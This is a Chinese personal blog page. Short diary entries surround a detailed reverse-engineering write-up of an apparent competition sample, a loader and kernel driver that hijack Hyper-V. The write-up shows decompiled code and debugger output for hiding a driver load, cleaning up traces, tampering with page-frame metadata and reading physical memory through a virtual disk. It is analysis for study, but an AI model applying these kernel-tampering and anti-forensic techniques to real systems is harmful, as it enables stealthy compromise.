NonMirror

假日

2026-07-11T20:16:36.000Z

我躺在床上，直视的分明是天花板，却觉得天空要把我碾碎了。

考试02

2026-06-22T04:58:24.000Z

对自私的人来说，所有人都平等的不重要，但又在某些时候希望某个人可以出现。两个自私的人交往，希望对方出现的时刻没能重合，就积压了矛盾。

我捏死了一只蚂蚁，残留在指尖的蚁酸的气味使我想起————高三，或许是夏夜，我合上那本硬质封面的书，抚摸着书脊，懵懂地幻想我有一天成为烧掉寺庙的僧人。

看过的书和所有经历一样，在后来生命的某个时候突然想起，你渴望从以前的经验得出今后如何是好的一些线索，往往又以不断反刍沉溺思考的痛苦作结。当晚，我凝视着硬质封面上的楷体，以为自己读懂了三岛，于是慢慢睡去，做着一些平平无奇的十七岁的梦。

考试

2026-05-18T17:04:55.000Z

我到四处看了又看，只觉得世界上的一切都让我太疲惫了。

Gss2026 final

2026-05-13T11:15:09.000Z

payload.sys 代码量很小，逻辑也比较简单，这里略过

R3

攻击链路中 R3 主要负责环境检查、释放驱动、创建虚拟磁盘用于与内核通信，后续通过 cpuid 进入被劫持的 hypervisor

Hyper-V 检测

144A07540 detect_hypervisor 中，cpuid(1) 检查返回的 rcx 第 31 位（Hypervisor Present Bit）以确认 HyperV 是否开启，cpuid(0x40000000) ，拼接返回的 ebx、ecx、edx，对于 HyperV，拼接结果为 “Microsoft Hv”。通过后进入 IOMMU 检查

  _RAX = 1;
  __asm { cpuid }
  v14 = _RAX;
  v15 = _RBX;
  v16 = _RDX;
  if ( _RCX >= 0 )
    goto LABEL_7;
  LOBYTE(v16) = 0;
  _RAX = 0x40000000;
  __asm { cpuid }
  v15 = __PAIR64__(_RDX, _RCX);
  v14 = _RBX;
  if ( !strcmp(&v14, "Microsoft Hv") )
  {
    if ( check_dmar_ivrs_acpi_tables() )
      *a2 = _mm_load_si128(&xmmword_144A654E0);
    else
      *a2 = 0;
    return a2;

IOMMU 检测

144A06650 check_dmar_ivrs_acpi_tables 中有两个字符串加密，分别解出来模块名 “ntdll.dll” 和 proc 名 “NtQuerySystemInformation”，然后 getHandle、getAddress 来调用 NtQuerySystemInformation(0x4C, 'ACPI', ...)

0x4C 语义为 SystemFirmwareTableInformation ，即枚举 ACPI firmware table

  _RBP = (&v18 & 0xFFFFFFFFFFFFFFE0uLL);
  *_RBP = 0xAA5A0BBC9C7B78FBuLL;
  _RBP[8] = *_RBP;
  *_RBP = 0xBDA70F05583CEF67uLL;
  _RBP[9] = *_RBP;
  *_RBP = 0xE976CEEBC88D0D68uLL;
  _RBP[10] = *_RBP;
  *_RBP = 0xAEC4913EB047EFF0uLL;
  _RBP[11] = *_RBP;
  *_RBP = 0xF92379D9E92A0CB5uLL;
  _RBP[12] = *_RBP;
  *_RBP = 0xDBC946683D489C1EuLL;
  _RBP[13] = *_RBP;
  *_RBP = 0x8719A79FA9E07F07uLL;
  _RBP[14] = *_RBP;
  *_RBP = 0xAEC4913EB047EFF0uLL;
  _RBP[15] = *_RBP;
  __asm
  {
    vmovdqu ymm0, [rbp+0A0h+var_60]
    vpxor   ymm1, ymm0, [rbp+0A0h+var_40]; vpxor 解出 proc name = "NtQuerySystemInformation"
    vmovdqa [rbp+0A0h+var_60], ymm1
  }

发现 DMAR 或 IVRS 表项则环境不合格，即 IOMMU 开启

if ( v17 == 'RAMD' || v17 == 'SRVI' )
    break;

SCSI

144A10B30 resolve_kernel32_and_virtdisk_apis 有大段的字符串加密、GetModuleHandleA、LoadLibraryA、GetProcAddress 之类的 api，解密出来的字符串至少包括：

kernel32.dll
virtdisk.dll
DeleteFileW, OpenVirtualDisk, DetachVirtualDisk, CreateVirtualDisk, ActtachVirtualDisk

144A111E0 cleanup_existing_vhd_files_in_dir 枚举目标目录下的 vhd，OpenVirtualDisk -> DetachVirtualDisk -> CloseHandle/DeleteFileW 清理旧 vhd

if ( resolve_kernel32_and_virtdisk_apis() )
{
    sub_144A100D0(v34, a1, L"\\*.vhd");
    v2 = v34;
    if ( v35 >= 8 )
      v2 = v34[0];
    FirstFileW = FindFirstFileW(v2, &v38);
    
 ...
     
            if ( !g_pOpenVirtualDisk(&v36, v18, 0x40000, 0, v25, &v23) )// OpenVirtualDisk(..., OPEN_VIRTUAL_DISK_FLAG_NO_PARENTS, GetInfoOnly=TRUE, &hVhd)
            {
            g_pDetachVirtualDisk(v23, 0, 0);    // DetachVirtualDisk(hVhd, 0, 0) on stale VHD before deleting it.
            g_pCloseHandle(v23);                // CloseHandle(hVhd) after the detach/open cleanup path.
            }
            v19 = &v32;
            if ( *(&v33 + 1) >= 8u )
            v19 = v32;
            g_pDeleteFileW(v19);                  // DeleteFileW(fullVhdPath) removes the stale *.vhd file from the workspace.

 ...

144A04A10 prepare_vhd_workspace_and_path 先调用上面的清理逻辑，然后创建新的 vhd。vhd 名为随机 GUID，运行 R3 程序后可以枚举出来，这个现象在逆向前就能够发现，此时闭环

sub_144A097F0(_RBP + 136, _RBP + 192);        // XOR-decoded wide string here is the VHD workspace directory: C:\\Windows\\Temp\\WdiServiceHost
v10 = (_RBP + 136);
if ( *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0xA0) >= 8u )
v10 = *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x88);
CreateDirectoryW(v10, 0);                     // CreateDirectoryW(L"C:\\Windows\\Temp\\WdiServiceHost", NULL)
cleanup_existing_vhd_files_in_dir((_RBP + 136));// Cleanup stale *.vhd files under the workspace before generating a fresh GUID-backed VHD path.
CoCreateGuid((_RBP + 56));
sub_144A003E0(
    _RBP + 320,
    L"{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x38),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x3C),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x3E),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x40),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x41),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x42),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x43),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x44),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x45),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x46),
    *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x47));

驱动释放

144A05540 drop_embedded_file_and_reset_service

144A05902 call CreateFileW -> 144A05948 call WriteFile ->

144A0595D call sub_144A068B0，跳到 vm 段，之后 StartServiceW

mov r10, rcx
mov eax, 106
test byte ptr ds:[7FFE0308], 1
jne ntd11.7FFD4D22F655
syscall
ret

这边的 syscall 看调用号就知道是 NtLoadDriver。DriverEntry 应该故意返回了 STATUS_UNSUCCESSFUL，使驱动加载看起来失败了

之后 R3 OpenSCManagerW, OpenServiceW, ControlService(SERVICE_CONTROL_STOP), DeleteService, DeleteFileW 一套连招清理痕迹

控制台与结果显示

不是重点，贴一下 ai 吐的分析结果

console_setup_and_api_resolve：0x144A3EAB0
api_resolve_init：0x144A3ED50
resolve_kernel32_and_virtdisk_apis：0x144A10B30
stage_result_reporter：0x144A04160
thread_entry_stage_result_reporter：0x1449FA120

作用：

配置控制台输出
动态解析一些 API
启动结果线程
输出 [ OK ] / [FAIL] / [READY] 等阶段状态

R0

主要分析 R3 释放出来的驱动。核心调度为 141DD7167 tvm_manual_map_and_vmexit_hook_stage

SCSI 4KB bounce 通道

R3 创建了一个 VHD，得到一条正常的虚拟磁盘设备栈，驱动随后向磁盘的设备对象发 IOCTL_SCSI_PASS_THROUGH_DIRECT，每次收发 0x1000 字节，即一页

这条链路存在以下四个关键函数：

scsi_passthrough_lba0_4k：0x140009530
scsi_sfer_n_4k_pages：0x140004FB0
ensure_pfn_entry_state_for_scsi_bounce：0x140003EB0
scsi_xfer_1_page：0x140003E10

scsi_passthrough_lba0_4k

0x140009530

动态解析几个 ntoskrnl 导出函数，然后构造一个IOCTL_SCSI_PASS_THROUGH_DIRECT IRP，向目标磁盘设备对象发送 SCSI READ(10) 或 WRITE(10)，固定访问虚拟磁盘 LBA0 开始的 4KB 数据

API 解析

FNV-1a 解析 api，流程大致如下

  v6 = g_pKeInitializeEvent;
  if ( !g_pKeInitializeEvent )
  {
    if ( qword_141D0FE40
      && (v7 = *(qword_141D0FE40 + *(qword_141D0FE40 + 60) + 136),
          v8 = *(qword_141D0FE40 + v7 + 24),
          *(qword_141D0FE40 + v7 + 24)) )
    {
      v62 = a1;
      v73 = qword_141D0FE40 + *(qword_141D0FE40 + v7 + 28);
      v9 = qword_141D0FE40 + *(qword_141D0FE40 + v7 + 32);
      v10 = qword_141D0FE40 + *(qword_141D0FE40 + v7 + 36);
      v11 = 0;
      do
      {
        v12 = *(v9 + 4 * v11);
        v13 = *(qword_141D0FE40 + v12);
        if ( v13 )
        {
          v14 = (qword_141D0FE40 + v12 + 1);
          v15 = 0xCBF29CE484222325uLL;
          do
          {
            v16 = 0x100000001B3LL * (v15 ^ v13);
            v17 = *v14++;
            v13 = v17;
            v15 = v16;
          }
          while ( v17 );
          if ( v16 == 0xD9FE78EA5EE16A1LL )     // FNV-1a compare hit for KeInitializeEvent. Hash 0x0D9FE78EA5EE16A1 = FNV1a64("KeInitializeEvent").
          {
            v6 = *(v73 + 4LL * *(v10 + 2 * v11)) + qword_141D0FE40;
            goto LABEL_13;
          }
...

用这样的方法共解析了以下四个函数。解析失败会把函数指针设为 0x114514。后续几乎所有 api 都是这样调用的，不再赘述

KeInitializeEvent
IoBuildDeviceIoControlRequest
IofCallDriver
KeWaitForSingleObject

初始化同步事件

(v6)(v75, 1, 0);                              // KeInitializeEvent(&event, NotificationEvent=1, InitialState=FALSE)

用于等待下面构造出来的同步 IRP 完成

SCSI_PASS_THROUGH_DIRECT 构造

  v65 = 0;
  v71 = 8;
  v72 = 0;
  LOWORD(v65) = 0x38;                           // SCSI_PASS_THROUGH_DIRECT.Length = 0x38 (56 bytes)
  BYTE6(v65) = 10;                              // SCSI_PASS_THROUGH_DIRECT.CdbLength = 10 -> CDB is READ(10)/WRITE(10)
  v68 = 0x38;
  HIDWORD(v65) = 0x1000;                        // SCSI_PASS_THROUGH_DIRECT.DataTransferLength = 0x1000 (one 4 KB page)
  v66 = 5;                                      // SCSI_PASS_THROUGH_DIRECT.TimeOutValue = 5 seconds
  v67 = a3;                                     // SCSI_PASS_THROUGH_DIRECT.DataBuffer = caller-supplied page buffer
  v69 = (2 * (a2 == 0x2A)) | 0x28;              // CDB[0] opcode = 0x28 (READ10) or 0x2A (WRITE10). The helper always uses 8 sectors = 0x1000 bytes, i.e. LBA0 page-sized bounce I/O.
  memset(v70, 0, sizeof(v70));

其中 v70 长度为 7

那么可以得到 CDB 大致结构

CDB[0]    = 0x28 / 0x2A       READ(10) / WRITE(10)
CDB[1]    = 0                 flags
CDB[2..5] = 00 00 00 00       起始 LBA = 0
CDB[6]    = 0                 group/reserved
CDB[7..8] = 00 08             Transfer Length = 8 blocks
CDB[9]    = 0                 Control

即访问 LBA0 开始的 8 个 block = 8 * 512 = 4KB

构造并发送 IOCTL

IOCTL_SCSI_PASS_THROUGH_DIRECT 的 Major Code 是 IRP_MJ_DEVICE_CONTROL，调用者创建 SCSI CDB，如果 CDB 涉及数据传输就需要设置

  v31 = (v18)(0x4D014, a1, &v65, 56, 0, 0, 0, v75, v74);// IoBuildDeviceIoControlRequest(IOCTL_SCSI_PASS_THROUGH_DIRECT=0x4D014, DeviceObject, &sptd, 0x38, NULL, 0, FALSE, &event, &iosb)

之后调用 IofCallDriver，把 IRP 发给 a1 指向的设备对象，也就是之前挂载的 vhd 对应的设备对象，最终由与该设备对象关联的驱动对象消费，因为磁盘挂载是 R3 程序调用 AttachVirtualDisk 实现的，所以对应的驱动对象是 disk.sys

  v46 = (v33)(a1, v32);                       // IofCallDriver(DeviceObject, Irp) -> standard storage stack dispatch, eventually handled by the target Disk/vhdmp path.

一般的设备协议栈传递 IRP 是这样的路径（可能在某一层被阻断，取决于上层驱动是否转发）
a1 指向过滤驱动的 DeviceObject
  → 首先由过滤驱动接收 IRP

a1 指向 disk.sys 创建/管理的磁盘类 DeviceObject
  → 首先由 disk.sys 的 IRP_MJ_DEVICE_CONTROL 分发函数接收

a1 指向更底层的虚拟磁盘相关 DeviceObject
  → 首先由 vhdmp/虚拟存储路径接收
调试可以看到设备栈，IofCallDriver 前断下，第一个参数就是 DeviceObject
4: kd> !devstack rcx
Cannot read info offset from nt!ObpInfoMaskToOffset
  !DevObj           !DrvObj            !DevExt           ObjectName
  ffffd20721dec060  \Driver\partmgr    ffffd20721dec1b0  
> ffffd2072318b530  \Driver\disk       ffffd2072318b680  DR1
  ffffd20722a89050  \Driver\vhdmp      ffffd20722a891a0  00000092
!DevNode ffffd20722fc7cc0 :
  DeviceInst is "SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000001"
  ServiceName is "disk"
partmgn (Partition Manager, 分区管理器) 在当前设备对象上层，不经过。当前驱动调用 IofCallDriver，IRP 给 disk.sys，如果 disk.sys 转发再传透到 vhdmp.sys

若 IoBuildDeviceIoControlRequest 返回 null，函数 return 0xC000009A，即 STATUS_INSUFFICIENT_RESOURCES，表示 IRP 构造失败

同步等待完成

如果底层驱动异步处理请求（STATUS_PENDING = 0x103，当前线程就等待事件，完成后返回 IO_STATUS_BLOCK.Status

    if ( v46 == 0x103 )                         // STATUS_PENDING path: wait on the event and return iosb.Status
    {
        ...
        
	(v47)(v75, 0, 0, 0, 0);                   // KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL)
    return v74[0]; // return iosb.Status

ensure_pfn_entry_state_for_scsi_bounce

0x140003EB0

控制流平坦化，先脱了，能看大致逻辑就行

主要是修改 MMPFN 来伪造内存状态，从而支持 scsi 的 bounce 访问

先拿 pa，然后 RltGetVersion 拿版本号

  if ( g_pMmGetPhysicalAddress )
  {
    pa = (g_pMmGetPhysicalAddress)(targetVa);
  }
...
  if ( pa )
  {
    memset(buffer, 0, 0x114u);
    if ( g_pRtlGetVersion ) 
    {
      (g_pRtlGetVersion)(buffer); 
    }
...
      g_pRtlGetVersion = resolved_rtlgetversion;
      (resolved_rtlgetversion)(buffer);
    }
    nt_build_number = g_CachedNtBuildNumber;
	if ( !g_CachedNtBuildNumber ) 
    {
      g_CachedNtBuildNumber = buffer[0].m128_u32[3];
      nt_build_number = buffer[0].m128_u32[3];
    }

然后取对应 PFN 表项（MMPFN + 0x28，一个叫做 u4 的 union），由 PFN = target_phys_addr >> 12 可以化简为 page_meta_entry_ptr = (uint64_t *)(qword_141D0FD20 + PFN * 0x30 + 0x28)，qword_141D0FD20 大概就是 PFN 数据库基址，每个 entry 固定在 0x30，实际访问 entry + 0x28 的 64 位页面元数据

page_meta_entry_ptr = (qword_141D0FD20 + 3 * ((target_phys_addr >> 8) & 0xFFFFFFFFFFFFFFF0uLL) + 40);

根据版本新旧设置了一个状态掩码

    state_mask = 0x7000000000000000LL;
    if ( nt_build_number < 0x47BC )
      state_mask = 0x1C0000000000000LL;

进行一个状态检查，代数式可以化简为 if ( (*page_meta_entry_ptr & state_mask) == 0 )。语义就是检查这个物理页当前的特定标志位是否为 0，如果是则说明不符合要求，进入修改逻辑。修改逻辑可以化简成 new = (old & ~state_mask) | desired_state 也就是把三个位改成 001

    if ( (*page_meta_entry_ptr & ~(*page_meta_entry_ptr ^ state_mask)) == 0 )
    {
      desired_state = 0x1000000000000000LL;
      if ( nt_build_number < 0x47BC )
        desired_state = 0x40000000000000LL;
      v11 = 0x7000000000000000LL;               
      if ( nt_build_number < 0x47BC )
        v11 = 0x1C0000000000000LL;
      *(qword_141D0FD20 + 3 * ((target_phys_addr >> 8) & 0xFFFFFFFFFFFFFFF0uLL) + 40) = (v11 | ~page_meta_old_value)
                                                                                      ^ (~desired_state
                                                                                       & 0x213485D88326B894LL
                                                                                       | desired_state
                                                                                       & 0xDECB7A277CD9476BuLL)
                                                                                      ^ 0xDECB7A277CD9476BuLL
                                                                                      | ~(v11
                                                                                        | ~page_meta_old_value
                                                                                        | ~desired_state);
      v16 = page_meta_old_value;
      v15 = page_meta_entry_ptr;
    }

最后返回旧的元数据

写入的这一步进行动态调试可以看得更清楚，在 *(qword_141D0FD20 + …) = … 这句，即偏移 4D7A 处断下来，先确认一下这个位置是 u4，可以递归看一下 u4 现在的内容，值为 0x0004000f`fffffffd，也就是说 PageIdentity 这一位是 0

5: kd> g
Breakpoint 2 hit
srztLao5dQ+0x4d7a:
fffff809`2bc44d7a 4c8908          mov     qword ptr [rax],r9

5: kd> dt nt!_MMPFN @@c++(@rax - 0x28)
   +0x000 ListEntry        : _LIST_ENTRY [ 0x00000a40`e3d86610 - 0xffffb480`00000000 ]
   +0x000 TreeNode         : _RTL_BALANCED_NODE
   +0x000 u1               : <anonymous-tag>
   +0x008 PteAddress       : 0xffffb480`00000000 _MMPTE
   +0x008 PteLong          : 0xffffb480`00000000
   +0x010 OriginalPte      : _MMPTE
   +0x018 u2               : _MIPFNBLINK
   +0x020 u3               : <anonymous-tag>
   +0x024 NodeBlinkLow     : 0
   +0x026 Unused           : 0y0000
   +0x026 Unused2          : 0y0000
   +0x027 ViewCount        : 0 ''
   +0x027 NodeFlinkLow     : 0 ''
   +0x027 ModifiedListBucketIndex : 0y0000
   +0x027 AnchorLargePageSize : 0y00
   +0x028 u4               : <anonymous-tag>
   
   5: kd> dt nt!_MMPFN -r1 @@c++(@rax - 0x28)
   +0x000 ListEntry        : _LIST_ENTRY [ 0x00000a40`e3d86610 - 0xffffb480`00000000 ]
      +0x000 Flink            : 0x00000a40`e3d86610 _LIST_ENTRY
      +0x008 Blink            : 0xffffb480`00000000 _LIST_ENTRY
   +0x000 TreeNode         : _RTL_BALANCED_NODE
      +0x000 Children         : [2] 0x00000a40`e3d86610 _RTL_BALANCED_NODE
      +0x000 Left             : 0x00000a40`e3d86610 _RTL_BALANCED_NODE
      +0x008 Right            : 0xffffb480`00000000 _RTL_BALANCED_NODE
      +0x010 Red              : 0y0
      +0x010 Balance          : 0y00
      +0x010 ParentValue      : 0x80
   +0x000 u1               : <anonymous-tag>
      +0x000 NextSlistPfn     : _SINGLE_LIST_ENTRY
      +0x000 Next             : 0x00000a40`e3d86610 Void
      +0x000 Flink            : 0y000011100011110110000110011000010000 (0xe3d86610)
      +0x000 NodeFlinkHigh    : 0y0000000000000000000010100100 (0xa4)
      +0x000 Active           : _MI_ACTIVE_PFN
   +0x008 PteAddress       : 0xffffb480`00000000 _MMPTE
      +0x000 u                : <anonymous-tag>
   +0x008 PteLong          : 0xffffb480`00000000
   +0x010 OriginalPte      : _MMPTE
      +0x000 u                : <anonymous-tag>
   +0x018 u2               : _MIPFNBLINK
      +0x000 Blink            : 0y000000000000000000000000000000000001 (0x1)
      +0x000 NodeBlinkHigh    : 0y00000000000000000000 (0)
      +0x000 TbFlushStamp     : 0y0000
      +0x000 Unused           : 0y00
      +0x000 PageBlinkDeleteBit : 0y0
      +0x000 PageBlinkLockBit : 0y0
      +0x000 ShareCount       : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
      +0x000 PageShareCountDeleteBit : 0y0
      +0x000 PageShareCountLockBit : 0y0
      +0x000 EntireField      : 1
      +0x000 Lock             : 0n1
      +0x000 LockNotUsed      : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
      +0x000 DeleteBit        : 0y0
      +0x000 LockBit          : 0y0
   +0x020 u3               : <anonymous-tag>
      +0x000 ReferenceCount   : 2
      +0x002 e1               : _MMPFNENTRY1
      +0x003 e3               : _MMPFNENTRY3
      +0x000 e2               : <anonymous-tag>
      +0x000 e4               : <anonymous-tag>
   +0x024 NodeBlinkLow     : 0
   +0x026 Unused           : 0y0000
   +0x026 Unused2          : 0y0000
   +0x027 ViewCount        : 0 ''
   +0x027 NodeFlinkLow     : 0 ''
   +0x027 ModifiedListBucketIndex : 0y0000
   +0x027 AnchorLargePageSize : 0y00
   +0x028 u4               : <anonymous-tag>
      +0x000 PteFrame         : 0y111111111111111111111111111111111101 (0xffffffffd)
      +0x000 ResidentPage     : 0y0
      +0x000 Unused1          : 0y0
      +0x000 Unused2          : 0y0
      +0x000 Partition        : 0y0000000000 (0)
      +0x000 FileOnly         : 0y0
      +0x000 PfnExists        : 0y1
      +0x000 Spare            : 0y000000000 (0)
      +0x000 PageIdentity     : 0y000
      +0x000 PrototypePte     : 0y0
      +0x000 EntireField      : 0x0004000f`fffffffd

步过之后再看，此时 PageIdentity 已经置 1

5: kd> dt nt!_MMPFN -r1 @@c++(@rax - 0x28)
   +0x000 ListEntry        : _LIST_ENTRY [ 0x00000a40`e3d86610 - 0xffffb480`00000000 ]
      +0x000 Flink            : 0x00000a40`e3d86610 _LIST_ENTRY
      +0x008 Blink            : 0xffffb480`00000000 _LIST_ENTRY
   +0x000 TreeNode         : _RTL_BALANCED_NODE
      +0x000 Children         : [2] 0x00000a40`e3d86610 _RTL_BALANCED_NODE
      +0x000 Left             : 0x00000a40`e3d86610 _RTL_BALANCED_NODE
      +0x008 Right            : 0xffffb480`00000000 _RTL_BALANCED_NODE
      +0x010 Red              : 0y0
      +0x010 Balance          : 0y00
      +0x010 ParentValue      : 0x80
   +0x000 u1               : <anonymous-tag>
      +0x000 NextSlistPfn     : _SINGLE_LIST_ENTRY
      +0x000 Next             : 0x00000a40`e3d86610 Void
      +0x000 Flink            : 0y000011100011110110000110011000010000 (0xe3d86610)
      +0x000 NodeFlinkHigh    : 0y0000000000000000000010100100 (0xa4)
      +0x000 Active           : _MI_ACTIVE_PFN
   +0x008 PteAddress       : 0xffffb480`00000000 _MMPTE
      +0x000 u                : <anonymous-tag>
   +0x008 PteLong          : 0xffffb480`00000000
   +0x010 OriginalPte      : _MMPTE
      +0x000 u                : <anonymous-tag>
   +0x018 u2               : _MIPFNBLINK
      +0x000 Blink            : 0y000000000000000000000000000000000001 (0x1)
      +0x000 NodeBlinkHigh    : 0y00000000000000000000 (0)
      +0x000 TbFlushStamp     : 0y0000
      +0x000 Unused           : 0y00
      +0x000 PageBlinkDeleteBit : 0y0
      +0x000 PageBlinkLockBit : 0y0
      +0x000 ShareCount       : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
      +0x000 PageShareCountDeleteBit : 0y0
      +0x000 PageShareCountLockBit : 0y0
      +0x000 EntireField      : 1
      +0x000 Lock             : 0n1
      +0x000 LockNotUsed      : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
      +0x000 DeleteBit        : 0y0
      +0x000 LockBit          : 0y0
   +0x020 u3               : <anonymous-tag>
      +0x000 ReferenceCount   : 2
      +0x002 e1               : _MMPFNENTRY1
      +0x003 e3               : _MMPFNENTRY3
      +0x000 e2               : <anonymous-tag>
      +0x000 e4               : <anonymous-tag>
   +0x024 NodeBlinkLow     : 0
   +0x026 Unused           : 0y0000
   +0x026 Unused2          : 0y0000
   +0x027 ViewCount        : 0 ''
   +0x027 NodeFlinkLow     : 0 ''
   +0x027 ModifiedListBucketIndex : 0y0000
   +0x027 AnchorLargePageSize : 0y00
   +0x028 u4               : <anonymous-tag>
      +0x000 PteFrame         : 0y111111111111111111111111111111111101 (0xffffffffd)
      +0x000 ResidentPage     : 0y0
      +0x000 Unused1          : 0y0
      +0x000 Unused2          : 0y0
      +0x000 Partition        : 0y0000000000 (0)
      +0x000 FileOnly         : 0y0
      +0x000 PfnExists        : 0y1
      +0x000 Spare            : 0y000000000 (0)
      +0x000 PageIdentity     : 0y001
      +0x000 PrototypePte     : 0y0
      +0x000 EntireField      : 0x1004000f`fffffffd

scsi_sfer_n_4k_pages

0x140004FB0

逻辑比较简单，贴一下完整代码。就是先 WRITE(10) 再 READ(10) 再 WRITE(10)，即

先修改 PFN 元数据，使得 SCSI 可 bounce
把修改过后的页面 push 到 LBA0
恢复 PFN
从 LBA0 把内容读到目标页面
把恢复后的页面写回一个 buffer

// Higher-level 4 KB bounce helper: WRITE(10) source page -> disk buffer, READ(10) disk buffer -> destination page, then WRITE(10) scratch/original buffer back for cleanup.
// scsi_sfer_n_4k_pages: page-level bounce primitive. Sequence is WRITE(10) src page -> READ(10) dst page -> cleanup WRITE(10) scratch/original buffer.
__int64 __fastcall scsi_sfer_n_4k_pages(__int64 allocated_memory, char *mapped_va, __int64 page_count)
{
  __int64 v5; // r15
  unsigned __int64 v6; // r14
  int v7; // eax
  int v8; // ebp
  unsigned __int64 *page_meta_restore_slot; // [rsp+20h] [rbp-38h] BYREF

  if ( g_HasScsiBounceChannel )
  {
    if ( page_count )
    {
      v5 = page_count;
      while ( 1 )
      {
        page_meta_restore_slot = 0;
        v6 = ensure_pfn_entry_state_for_scsi_bounce(mapped_va, &page_meta_restore_slot);// 调用 ensure_pfn_entry_state_for_scsi_bounce：RAX=旧 PFN 元数据值，*page_meta_restore_slot=需要恢复的 entry+0x28 槽位。
        v7 = scsi_passthrough_lba0_4k(scsi_bounce_ctx->DeviceObject, 0x2A, mapped_va);// WRITE(10): push the source page into the VHD-backed disk buffer via standard SCSI passthrough.
        if ( page_meta_restore_slot )
          *page_meta_restore_slot = v6;         // 第一次 WRITE(10) 返回后恢复被临时改写的 PFN 元数据：*restore_slot = saved_old。
        if ( v7 < 0 )
          break;
        v8 = scsi_passthrough_lba0_4k(scsi_bounce_ctx->DeviceObject, 0x28, allocated_memory);// READ(10): pull the same 4 KB sector back into the destination page.
        if ( v8 >= 0 )
        {
          scsi_passthrough_lba0_4k(scsi_bounce_ctx->DeviceObject, 0x2A, scsi_bounce_ctx->Sector0RestoreBuf);// Cleanup WRITE(10): send the static scratch/original buffer at qword_141D0FD18+8 back to the same LBA.
          mapped_va += 0x1000;
          allocated_memory += 0x1000;
          if ( --v5 )
            continue;
        }
        return v8;
      }
      return v7;
    }
    else
    {
      return 0;
    }
  }
  else
  {
    return 0xC00000A3;
  }
}

值得一提的是 141D0FD18（scsi_bounce_ctx）这个全局变量被传给 IoBuildDeviceIoControlRequest 作为第二个参数，随后被传给 IofCallDriver 作为第一个参数，因此可以判断是 DeviceObject 的指针。

基于这个判断，可以从 scsi_passthrough_lba0_4k(loc_141D0FD18, 0x2A, loc_141D0FD18 + 8) 这句调用恢复（猜测）出来一个结构体的雏形

00000000 #pragma pack(push, 2)
00000000 struct _SCSI_BOUNCE_CONTEXT // sizeof=0x1008
00000000 {                                       // XREF: SCSI_BOUNCE_CONTEXT/r
00000000     void *DeviceObject;
00000008     unsigned __int8 Sector0RestoreBuf[4096];
00001008 };
00001008 #pragma pack(pop)

00001008 typedef struct _SCSI_BOUNCE_CONTEXT SCSI_BOUNCE_CONTEXT;

scsi_xfer_1_page

0x140003E10

上面三个函数最终由 copy_phys_page_with_lazy_resolve 调用，只有这个函数属于 find_kernel_signature_in_physical_ranges

做的事情跟 scsi_sfer_n_4k_pages 差不多，做一波复制的操作，如果复制成功那么页面可用，继续做签名匹配

// Validate that the mapped physical page matches the scratch copy before the signature scan continues.
// Use the same SCSI WRITE(10) + READ(10) bounce path to validate that mappedPage and copiedPage observe the same content.
// scsi_xfer_1_page: validate that the MmMapIoSpace view and the scratch-page copy view really match by replaying the same page through the VHD/vhdmp SCSI bounce channel.
NTSTATUS __fastcall scsi_xfer_1_page(void *copiedPage, void *mappedPage)
{
  unsigned __int64 phys_addr; // rdi
  NTSTATUS result; // eax
  NTSTATUS v6; // esi
  unsigned __int64 *page_meta_restore_slot; // [rsp+28h] [rbp-20h] BYREF

  if ( !g_HasScsiBounceChannel )
    return 0xC00000A3;
  page_meta_restore_slot = 0;
  phys_addr = ensure_pfn_entry_state_for_scsi_bounce(mappedPage, &page_meta_restore_slot);// 调用 ensure_pfn_entry_state_for_scsi_bounce，为验证路径里的 mappedPage 临时准备 PFN 元数据恢复信息。
  result = scsi_passthrough_lba0_4k(g_ScsiBounceCtx->DeviceObject, 0x2A, mappedPage);
  if ( page_meta_restore_slot )
    *page_meta_restore_slot = phys_addr;        // 验证路径同样在第一次 WRITE(10) 后恢复 PFN 元数据旧值。
  if ( result >= 0 )
  {
    v6 = scsi_passthrough_lba0_4k(g_ScsiBounceCtx->DeviceObject, 40, copiedPage);
    scsi_passthrough_lba0_4k(g_ScsiBounceCtx->DeviceObject, 42, g_ScsiBounceCtx->Sector0RestoreBuf);// Final cleanup WRITE(10) after the validation READ(10).
    return v6;
  }
  return result;
}

copy_phys_page_with_lazy_resolve

14000DF10

先分配出 n 个页面大小的 allocated_memory 作为目标地址，然后扫物理内存，筛选符合条件的页面填入 allocated_memory

主循环逻辑如下

筛出全 0xFF 的页面

分配 page_count (第二个参数) 个页面，分配失败输出日志返回错误码，注意这边分配的是内核虚拟地址

  size = _page_count << 12;                        // 页数转为字节数
  allocated_memory = (soved_MmAllocateContiguousMemory)(size, -1);
  if ( !allocated_memory )
  {
    decode_hidden_string_len6(&unk_141D0FFEC, &byte_14002135F);// decode_hidden_string_len6("debug")
    decode_hidden_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
    decode_hidden_string_len44(&unk_141D10270, byte_140021993);// decode_hidden_string_len44("hypercharge::FindContinousEmptyPagesInRange")
    decode_hidden_log_string(&unk_141D0FFBC, byte_140021303);// decode_hidden_log_string("failed to alloc memory for empty buffer.\r\n")
    log_decoded_hypercharge_message(&unk_141D0FFEC, &unk_141D0FF30, &unk_141D10270, 385, &unk_141D0FFBC);// log_decoded_hypercharge_message(..., line=385, message="failed to alloc memory for empty buffer.\r\n")
    return 0xC000009ALL;
  }

